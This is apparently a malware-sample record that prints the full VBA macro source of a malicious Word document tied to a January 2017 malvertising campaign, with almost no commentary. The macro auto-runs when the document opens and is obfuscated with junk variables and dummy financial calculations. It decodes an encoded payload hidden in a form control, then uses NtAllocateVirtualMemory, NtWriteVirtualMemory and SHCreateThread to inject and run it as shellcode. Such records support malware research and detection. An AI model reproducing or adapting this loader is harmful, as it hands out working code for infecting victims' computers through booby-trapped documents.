Malvertisement Downloaded FTC .doc

Malvertisement 27h Jan 2017

Attachment: .DOC with VBA:



////////////////////////

ThisDocument.cls

/////////////////////////


Sub dup()
    Dim Range1 As Range, Range2 As Range
    Set Range1 = Selection.Range.Duplicate
    Set Range2 = ActiveDocument.Bookmarks(1).Range
    Range2.Paragraphs(1).Range = Range2
End Sub

Sub investments()
Dim lackadaisical As String
Dim biotic As Long
transportation = ThisDocument.ComputeStatistics(wdStatisticPages)
rickettsiales.cranks.Value = transportation + 9
chancroid = "bitthead"
darkie = "who"
crocodile = "headed"
Set fanlight = rickettsiales.cranks.SelectedItem
deprivement = 18
acridotheres = 23648
idea = 481150
eastertide = SLN(idea, acridotheres, deprivement)

gecko = fanlight.Name
selma = 7460
atoms = Right(gecko, selma)
banewort = arbitral.heartlessness(atoms)
muskwood = 26
pepper = 24330
aphakic = 212625
pessimistically = SLN(aphakic, pepper, muskwood)

autotelism = "inorganized"
#If Win64 Then
Dim burrock As String
Dim powerhouse As LongPtr
Dim buccal As LongPtr
Dim embedded As String
#Else
Dim rigueur As Long
Dim buccal As Long
Dim barrelhouse As Long
Dim powerhouse As Long
#End If
vapid = 0
carefully = "fairy"
mensural = 21 - 102 + 4177
meditative = 111
cypress = 9711
eira = 265191
cypress = Pmt(0.0838, meditative, -24882, eira, 1)

vicious = "cranny"
progressivism = "cyamopsis"
chipboard = 24
gaminess = 32872
beggarweed = 430353
fertile = SLN(beggarweed, gaminess, chipboard)

examen = banewort
undutiful = "pinball"
aethusa = "georges"
powerhouse = mizzle(examen)
doublebedded = "fecundate"
#If Win64 Then
Dim thermoscope As Integer
Dim barkantine As LongPtr
hopsacking = "southsoutheast"
cynipidae = "derail"
inclinometer = "ironhearted"
Dim be As LongPtr
affecting = 1 - 78 + 1357
#ElseIf Win32 Then
twixt = "anthonys"
blancbec = "longwinded"
caeciliidae = "flagelliform"
Dim barkantine As Long
haploid = 86 + 55 + 373
Dim be As Long
affecting = haploid + 3204

#End If
Dim freudian As String
Dim maneater As Long
barkantine = 0
buccal = powerhouse + affecting
be = 1
adjectives = caliph(buccal, barkantine, be, barkantine)
fires = 45
reprehension = 3809
countless = 170556
reprehension = Pmt(0.0704, fires, -5731, countless, 1)

End Sub

Private Sub Document_Open()
Dim unemployed As Integer
Dim doxorubicin As Byte
fleshiness = "unbidden"
pronouns = "le" & "adin" & "g"
investments
vivification = 13
awkwardly = 35578
canescent = 263254
manners = SLN(canescent, awkwardly, vivification)
End Sub
Function goldthread(ene, goodfellow, tropaeolum)
#If Win64 Then
Dim adorable As Variant
Dim anthropologist As String
Dim processional As LongPtr
Dim recessive As LongPtr
Dim dolomite As LongPtr
Dim melissa As Byte
Dim adrenaline As LongPtr
Dim toxotes As LongPtr
#Else
Dim recessive As Long
Dim oystercatcher As Byte
Dim processional As Long
Dim forelock As Integer
Dim adrenaline As Long
Dim circumcise As String
Dim dolomite As Long
Dim tent As Long
Dim toxotes As Long
Dim forger As Long
Dim designer As Variant
#End If
illdisposed = Rnd(333.4305 + 85.395)
illdisposed = impala And 300
recessive = ene
toxotes = tropaeolum
illdisposed = Rnd(429.7022 + 99.6392)
adrenaline = goodfellow
choosing = 29
cantonment = 27550
biol = 137902
scathful = SLN(biol, cantonment, choosing)

molidae = prickle
processional = 5 - 6
psittacosis ByVal processional, recessive, adrenaline, toxotes, dolomite
impala = Rnd(384.3084 + 86.6341)
End Function
Function mizzle(bench)
Dim goldenseal As String
Dim birdwitted As String
Dim flay As String
Dim ce As Variant
#If Win64 Then
Dim neuroglia As String
Dim reverseless As LongPtr
csorcery = 8
Dim foxglove As Long
Dim cacogenesis As LongPtr
Dim guano As Integer
Dim armageddon As LongPtr
Dim adorable As Byte
#Else
Dim concoction As String
Dim reverseless As Long
csorcery = 4
Dim cacogenesis As Long
Dim tatterdemalion As Byte
Dim armageddon As Long
Dim inactive As Byte
Dim hypocrite As Byte
#End If
caviar = goldthread(VarPtr(reverseless), VarPtr(bench) + 8, csorcery)
magnetize = 97 - 98
cacogenesis = 0
garganey = 0
armageddon = 9671
funicular = 4096
fray = 93 - 29
authority = hallucinogenic(ByVal magnetize, cacogenesis, ByVal garganey, armageddon, ByVal funicular, ByVal fray)
prickle = "pulley"

molidae = prickle

goldthread cacogenesis, reverseless, 37 + 5557
Align = 25
earthgoddess = 27500
charitable = 450601
aggregation = SLN(charitable, earthgoddess, Align)

mizzle = cacogenesis
End Function

////////////////////

arbitral.bas

/////////////////////

#If Win64 Then
Public Declare PtrSafe Function hastiness Lib "Kernel32.dll" Alias "ReadConsoleW" (ByVal bestride As LongPtr,howbeit As LongPtr,jauntily As LongPtr,aristocratic As LongPtr,detachable As LongPtr) As Boolean
Public Declare PtrSafe Function westernization Lib "Shell32.dll" Alias "SHChangeNotification_Lock" (basking As LongPtr, biconvex As Any,epoxy As LongPtr, mesembryanthemum As Any) As Boolean
Public Declare PtrSafe Function hallucinogenic Lib "ntdll.dll" Alias "NtAllocateVirtualMemory" (americanization As LongPtr, cantibus As LongPtr, ByVal campyloneurum As LongPtr,exasperatingByVal As LongPtr, cognominal As LongPtr, ByVal brahimism As LongPtr) As LongPtr
Public Declare PtrSafe Function caliph Lib "Shlwapi.dll" Alias "SHCreateThread" (ByVal earlyish As LongPtr, ByVal ruinousness As Any, ByVal barbarism As LongPtr, ByVal bijouterie As LongPtr) As LongPtr
Public Declare PtrSafe Function toothy Lib "Shell32.dll" Alias "SHGetSettings" (brutalization As LongPtr,oestridae As LongPtr) As LongPtr
Public Declare PtrSafe Function endoparasitic Lib "Shell32.dll" Alias "SHGetDesktopFolder" (adulatory As LongPtr)
Public Declare PtrSafe Function psittacosis Lib "Ntdll.dll" Alias "NtWriteVirtualMemory" (ByVal concealment As Any, ByVal compressed As Any, ByVal enchiridion As Any, ByVal tremendous As Any, ByVal manakin As Any) As LongPtr
Public Declare PtrSafe Function sponginess Lib "Kernel32.dll" Alias "LocalFree" (holocentrus As LongPtr) As LongPtr
#Else
Public Declare Function antiaircraft Lib "Shell32.dll" Alias "SHGetDesktopFolder" (feather As Long)
Public Declare Function breathing Lib "Shell32.dll" Alias "SHChangeNotification_Lock" (arbitrariness As Long, diltiazem As Any, morrow As Long, mercuric As Any) As Boolean
Public Declare Function psittacosis Lib "Ntdll.dll" Alias "NtWriteVirtualMemory" (ByVal foolhardness As Any, ByVal stealthy As Any, ByVal gamy As Any, ByVal abatis As Any, ByVal tangibility As Any) As Long
Public Declare Function hallucinogenic Lib "Ntdll.dll" Alias "NtAllocateVirtualMemory" (tempest As Long, acardia As Long, ByVal stolen As Long, attilaByVal As Long, tempus As Long, ByVal expectancy As Long) As Long
Public Declare Function periplus Lib "Kernel32.dll" Alias "ReadConsoleW" (ByVal droll As Long, capped As Long, glycolysis As Long, epicedium As Long, murderer As Long) As Boolean
Public Declare Function shrilling Lib "Shell32.dll" Alias "SHGetSettings" (brachycephalic As Long, psettichthys As Long) As Long
Public Declare Function caliph Lib "Shlwapi.dll" Alias "SHCreateThread" (ByVal normalness As Long, ByVal daddy As Any, ByVal exploited As Any, ByVal labryrinthian As Any) As Long
Public Declare Function spiroid Lib "Kernel32.dll" Alias "LocalFree" (olfactories As Long) As Long
#End If

Function heartlessness(blackened) As String
Dim orbignya(6965) As Byte
Dim betrothment As Long
faenum = faenum

Dim battleground(63) As Long
Dim mutational() As Byte
Dim oppugnancy As Long
Dim seersucker As Long
Dim wiedersehen As Long
illdisposed = Rnd(200.2407 + 359.8327)

Dim affrication(63) As Long
Dim dearborn As String

Dim archivist As Integer

Dim circularization(63) As Long
Dim ciderpress As Integer
Dim juste As Long

Dim tribunal As String
prickle = molidae

sententiae = 262144
cheremis = 87 + 169
borrowing = 64
bigwig = 65536
again = 79 - 17 + 16711618
faire = 83 + 257965
Dim baud As String

baddeleyite = 4032
cambric = 63
saururaceae = 107 - 9 + 157
coccoidea = 4096
Dim peculation As Variant

municipal = 65280
Dim barbaresque As Integer

cryptograph = 103 + 16514969
Dim mulct As Byte
muskrat = 66 - 66
morceau = 7459
Dim microorganism() As Byte
microorganism = VBA.StrConv(blackened, vbFromUnicode)
Dim paean As Integer
nonaddictive = 35
bare = 21435
decorously = 179895
euthanasia = SLN(decorously, bare, nonaddictive)

ambystoma = 7459
bodybuilding = 101 - 114 + 6 + 42
bigfoot = Log(100) / Log(10) + 14
For certainly = 0 To ambystoma
If certainly Mod 2 = 0 Then
microorganism(certainly) = microorganism(certainly) + bigfoot
Else
microorganism(certainly) = microorganism(certainly) + bigfoot - 1
End If
Next certainly
furfur = 11
rahu = 19763
carroty = 415949
rahu = Pmt(0.0613, furfur, -39794, carroty, 1)

ciderpress = 0
epiphytotic = 0
wasp = 43
muggee = cosm
For wiedersehen = 0 To 63
battleground(wiedersehen) = perdrix(wiedersehen, borrowing, 3)
circularization(wiedersehen) = perdrix(wiedersehen, coccoidea, 3)
affrication(wiedersehen) = perdrix(wiedersehen, sententiae, 3)
Next wiedersehen
civile = 14
acne = 27662
callithrix = 365900
hobbyist = SLN(callithrix, acne, civile)

mutational = microorganism
bonne = 4
alexander = 41
dactylopiidae = 35017
sleepily = 420618
jakes = SLN(sleepily, dactylopiidae, alexander)

adelges = 73 - 70
illdisposed = Rnd(101.4165 + 261.2198)

impala = VBA.Math.Round(441.5128 + 159.7512)

acquisitiveness = adelges + 1
dishwashing = 2
For seersucker = 0 To ambystoma
baccate = mutational(seersucker)
pleurodynia = mutational(seersucker + 2)
oppugnancy = affrication(muggee(baccate)) _
 + circularization(muggee(mutational(seersucker + 1))) + battleground(muggee(pleurodynia)) + muggee(mutational(seersucker + adelges))
wiedersehen = perdrix(oppugnancy, again, 2)
orbignya(betrothment) = perdrix(wiedersehen, bigwig, 1)
wiedersehen = perdrix(oppugnancy, municipal, 2)
orbignya(betrothment + 1) = perdrix(wiedersehen, cheremis, 1)
orbignya(betrothment + dishwashing) = perdrix(oppugnancy, saururaceae, 2)
betrothment = betrothment + dishwashing + 1
seersucker = seersucker + 3
Next
heartlessness = orbignya
End Function

Sub tableSel()
    Dim tempTable
    Documents("Log.doc").Tables(1).Select
    Set tempTable = Selection.Tables(1).Range
    tempRange.Tables(2).Select
End Sub


Function spatterdash(archiepiscopal)
spatterdash = AscW(archiepiscopal)
End Function
Function cosm()
Dim unconvincing(255) As Byte
roisterer = 65
Do
unconvincing(roisterer) = roisterer - 65
roisterer = roisterer + 1
Loop Until roisterer = 91
roisterer = 48
Do
unconvincing(roisterer) = roisterer + 4
roisterer = roisterer + 1
Loop Until roisterer = 58
roisterer = 97
Do
unconvincing(roisterer) = roisterer - 71
roisterer = roisterer + 1
Loop Until roisterer = 123
unconvincing(47) = 63
roisterer = 43
unconvincing(roisterer) = 62
cosm = unconvincing
End Function
Function perdrix(maniple, palm, abience)
Select Case abience
Case 1
perdrix = maniple \ palm
Case 2
perdrix = maniple And palm
Case 3
perdrix = maniple * palm
End Select
End Function

#Recorded by MMD